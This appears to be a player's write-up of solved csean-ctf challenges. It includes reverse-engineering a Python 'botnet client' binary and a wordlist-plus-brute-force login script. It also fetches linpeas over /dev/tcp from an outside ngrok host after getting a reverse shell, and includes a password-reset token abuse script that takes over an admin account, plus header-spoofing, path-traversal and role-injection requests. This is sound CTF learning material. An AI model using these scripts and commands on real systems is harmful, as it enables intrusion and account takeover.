Playing Hacks and Stuffs!
After downloading the attached file checking the file type shows that it is a windows executable
I normally would try decompile it in ghidra but I don’t like decompilling .exe file in ghidra
So instead what I did was to run it
Doing that I got this
From the challenge name communication
it is likely making some sort of requests
So confirm that I opened wireshark then listened on all network interface
Then I ran the binary again and got this
There are http packets
I followed tcp stream and got the flag
Also this binary is a python compiled binary
We can either confirm this by decompilling it or from the user agent we can see it’s python2.8
Anyways since we got the flag what’s the use of going through that
Flag: csean-ctf{CommunicationIsKey_NO_DOUBts!}
I am not a Malware Person but luckily this wasn’t tough
First thing I did was to check the file type
A windows executable
I uploaded it in virus total
And on checking the details I got this
It’s also a python compiled binary
Next thing is to convert it to a .pyc
file then decompile the .pyc
To convert it to a .pyc
file I used pyinstxtractor
Here’s the resource that helped me out hacktricks
Now I will use uncompyle6 to decompile it
uncompyle6 client.pyc > client.py
Doing that gives me this
from pwn import *
import platform
import subprocess
content.log_level = 'warning'
def send_command(host, port, command):
conn = recvuntil(host, port)
conn.recvuntil(b'$> ')
conn.sendline(b'' _ command.encode())
output = conn.recv(10240).decode().strip()
conn.close()
return f'''{output}'''
host = '0.cloud.chals.io'
port = 21440
command = 'hostname'
response = send_command(host, port, command)
note = 'Congratulations! You have been hacked. Now you are part of our mighty and growing botnets'
response = response.split('\n')[:-2]
response = '\n'.join(response)
print(response)
We can see that this script basically executes command on this remote instance 0.cloud.chals.io
running on port 21440
I connect to it and it showed this
I tried catting the flag but got this error
Seems to filter that
But it was easily bypassable
Since ls
isn’t filtered I did this
The commands will execute if an allowed command is also used
I checked the source and got the allowed commands
allowed_commands = ["curl", "wget", "hostname", "date", "ls", "whoami"]
If we assume that an intensive filter check is used we can still get the flag since we have access to curl
Basically using file
wrapper
Flag: csean-ctf{when_THE_HACKER_gets_hacked :)}
We are given this string Y3NlYW4tY3Rme3dlbGNvbWVfdG9fdGhlX2dhbWV6enp6IX0=
and we can tell it’s base64 cause of =
Decoding it can be done from the terminal
But if I didn’t know what it was I would have used cyberchef or dcodefr
Flag: csean-ctf{welcome_to_the_gamezzzz!}
This challenge isn’t really binary exploitation in my opinion just more of like scripting
Anyways we are given this:
If you ever need to talk, just reach out to any of our employees.
As a side note, we think you should know we like talking in months and days. Hopefully you understand.
Connecting to the remote instance shows this prompt
So we are to find a way to access this
I assumed that the username will be admin
but now for the password how do we go about it?
Well I can always try brute force using a wordlist like rockyou but it might take a while
So back to what the description says :
As a side note, we think you should know we like talking in months and days. Hopefully you understand.
This is a hint that’s based on using months and days
I then make a script to create a wordlist and brute force the password
Here’s the script I used to create the wordlist
#!/usr/bin/python3
# Hint to how the password should be: As a side note, we think you should know we like talking in months and days.
# Months
months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']
months_upper = [j.upper() for j in months]
months2_lower = [i.lower() for i in months]
# Date
dates = [str(date) for date in range(32)]
# Form the wordlist
wordlist = []
for month in months:
for date in dates:
wordlist.append(month + date)
for month in months_upper:
for date in dates:
wordlist.append(month + date)
for month in months2_lower:
for date in dates:
wordlist.append(month + date)
# Save wordlist
with open('wordlist.txt', 'w') as fd:
for i in wordlist:
fd.write(i+'\n')
And I used this to brute force
#!/usr/bin/python3
from pwn import *
import sys
from multiprocessing import Pool as pool
from warnings import filterwarnings
# Set context
context.log_level = 'info'
filterwarnings('ignore')
# Define a function for the brute force >3
def brute_password(password):
io = remote('0.cloud.chals.io', 33091)
io.recv(1024)
io.sendline(b"admin")
io.recv(1024)
io.sendline(password)
result = io.recv(1024)
print(result)
if b"Invalid credentials" not in result:
print(f'Password: {password}')
# Read password from the wordlist
with open('wordlist.txt', 'r') as fd:
wordlist = fd.readlines()
if __name__ == '__main__':
start = pool(int('5'))
start.map(brute_password, wordlist)
# Credential: admin:july10
I can now connect to the remote instance
The Check Operational Status looked interesting
I choose the option and was able to run os commands
At this point I got a reverse shell and uploaded linpeas to the box
But the issue was no binary was available and of cause this is excepted cause we are in a docker container
Using bash I was able to upload linpeas
Host: python3 -m http.server 80
Target:-
exec 3<>/dev/tcp/6.tcp.eu.ngrok.io/10577
echo -e "GET /linpeas.sh HTTP/1.1\n\n">&3
cat <&3 > linpeas.sh
And when I ran it
chmod +x linpeas.sh
bash linpeas.sh
I saw the flag in the environment variable
Flag: csean-ctf{SOMETIMES_I_WONDER_HOW_th!s_3v3n_PASSED_BeT4_TEST!}
Going over to the web url shows this
When I input https://google.com
it gets redirected
In order to solve this I intercepted the request and response
Then right click and select Do intercept -> Reponse to request
Flag: csean-ctf{easy_PEASy_REDIrect!}
Going over to the web url shows this
Since the challenge name is Enum
that means we are to enumerate
We can use ffuf to fuzz for POST
or GET
request
Doing that got me to /api
ffuf -c -u https://csean-enum-pain.chals.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -mc all -X POST -fl 11
But when I tried fuzzing more values there it just doesn’t work
It really frustrated me
Then I decided to use feroxbuster
feroxbuster --url https://csean-enum-pain.chals.io/api/ -m POST
Ferobuster got /api/secret
with GET
http method
I then accessed it and got this
Hmmmm! I then tried using POST
request to access /api/secret
and it got me the flag
Flag: csean-ctf{Y0u_SAW_it_in_4_d!fferent_MeTH0D!!}
Going over to the web url shows this
The text FORWARDED
was bolden this gives the hint to use the X-Forwarded-For
header
I used curl
and added the header to my request then got the flag
curl -H "X-Forwarded-For: 127.0.0.1" https://csean-waf.chals.io/
Flag: csean-ctf{NO_PLACE_L!k3_0x7f000001}
To me this challenge was a little bit guessy but ok
Anyways let us get to it
Going over to the web url shows this
When I search for something it gives this
At this point I was really confused cause I used cewl
to get the words from the web server and fuzzed for allowed words but got nothing
After some minutes I noticed when I give it ../../../../../flag.txt
it gives the flag
Flag: csean-ctf{I_hope_i_DIDNT_tr!ck_YOU_OR_D!D_I_hehe:)}
Going over to the url shows this
Seems to be a service used for reporting sites used for phishing
To check if it indeeds make some sort of http request to the site submitted I used webhook.site
Submitting that url I got this
Then after some minutes of waiting patiently (I didn’t wait patiently I sent the request multiple times 😂) I got this
The flag is in the referer header
Flag: csean-ctf{TH!S_really_l00ks_l!ke_A_PHISH_OR_NOT?}
Going over to the url shows this
There’s a sign in and also a register function
I registered an account
Here’s the request made when we register
Now I can login
It redirects to /dashboard
and shows this
The page source shows this
That’s the js file used by the web server
Back on the sign in page there’s a forgot password function
Clicking it shows this
When I gave in my user created mail root@sec.io
and also intercepted the request I got this
We can see that during the process of the forgot password function, it leaks the token in the response in the json body
How do we take advantage of this since the pop up already said the reset instruction has been sent to your email address. Kindly click the link within the mail body to initiate the password reset.
Well I looked back to the user.js
and saw this endpoint
const resetPassword = () => {
let current_loc = window.location.href.split("/").pop();
const data = {
user: {
password: document.getElementById("password").value,
},
};
const options = {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(data),
};
fetch(`/api/reset/${current_loc}`, options)
.then((data) => {
return data.json();
})
.then((response) => {
window.alert(response.message);
window.location.href = "/sign-in";
})
.catch((e) => {
window.alert(JSON.stringify(e));
});
Accessing it shows this
Looking at it shows that it requires a valid token to be passed in from the url therefore giving us the opportunity to do a password reset
I used the forgot password function to get a token for the user I created root@sec.io
and did this
I changed the password to pwned
and when I logged in it worked
This means we can basically reset any user password cool right?
At this point I looked at the main page then got a user which looked worth it
Let us reset user admin@stupid-reset.com
password
First I got the token
Now I use the /reset
endpoint and change the password to pwned
With this set we should be able to login with admin@stupid-reset.com:pwned
and get the flag
Doing this manually is pain so I made a script to automate the stress for us
#!/usr/bin/python3
import requests
import json
email = "admin@stupid-reset.com"
# email = "pwner@root.io"
password = "pwned"
proxy = {"http":"http://127.0.0.1:8080"}
# Step 1: Forget password to get the token
url = 'http://143.198.98.92:1337/api/forgot-password'
param = {'user':{'email':email}}
data = json.dumps(param)
headers = {"Content-Type":"application/json"}
res = requests.post(url, data=data, headers=headers)
val = json.loads(res.text)
reset_token = val['resettoken']
# Step 2: Reset the user accout password
change_to = "pwned"
param = {"user":{"password":change_to}}
data = json.dumps(param)
headers = {"Content-Type":"application/json"}
url = f'http://143.198.98.92:1337/api/reset/{reset_token}'
res = requests.post(url, data=data, headers=headers)
# Print success message
print(f'[*] Email: {email} password has been updated to "{change_to}"')
Running it also works then we can login with the password and get the flag
Flag: csean-ctf{th!s_RESET_1s_SECURE_you_should_REALly_TrusT_m3!}
Going over to the url shows this
I then decided to fuzz for endpoints using feroxbuster and got this
We have three endpoints
/api/register
/api/login
/api/flag
When I tried accessing /api/flag
I got this
To register I first accessed /api/register
as a GET
request
So that’s the parameter required to register
I used burp to do this
Let us register a user
We can now login
{
"email":"root@root.com",
"firstName":"pwner",
"lastName":"haxor",
"role":"user",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJvb3RAcm9vdC5jb20iLCJpYXQiOjE2ODkxNzY2MzksImV4cCI6MTY4OTE4MDIzOX0.3TPesuZVJ6A5uP4MgGeVzLaVK7wdgIc_RLXa48XWke0"
}
Looking at the json response formed we see that role is set to user
We can try to register a user again and set role to admin
When I logged in it showed this
{
"email":"root@root.io",
"firstName":"pwned",
"lastName":"pwned",
"role":"admin",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJvb3RAcm9vdC5pbyIsImlhdCI6MTY4OTE3Njc3MSwiZXhwIjoxNjg5MTgwMzcxfQ.kDURYuKEuIR1NF2ht-F2R1Zv9sGE5_PLTJjnWv3zNdo"
}
It worked and this confirmed a broken access control vulnerability
I can now get the flag using the json web token
GET /api/flag HTTP/1.1
Host: 143.198.98.92:9092
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJvb3RAcm9vdC5pbyIsImlhdCI6MTY4OTE3Njc3MSwiZXhwIjoxNjg5MTgwMzcxfQ.kDURYuKEuIR1NF2ht-F2R1Zv9sGE5_PLTJjnWv3zNdo
And I got the flag
Flag: csean-ctf{Joan!I_told_you_not_TO_trust_us3r_inputs_buh_YOU_NEVER_LISTEN!}
That’s all I was able to solve 😅
At the end of the struggle we managed to take first 🙂
Till the next ctf 🥷 @Urahara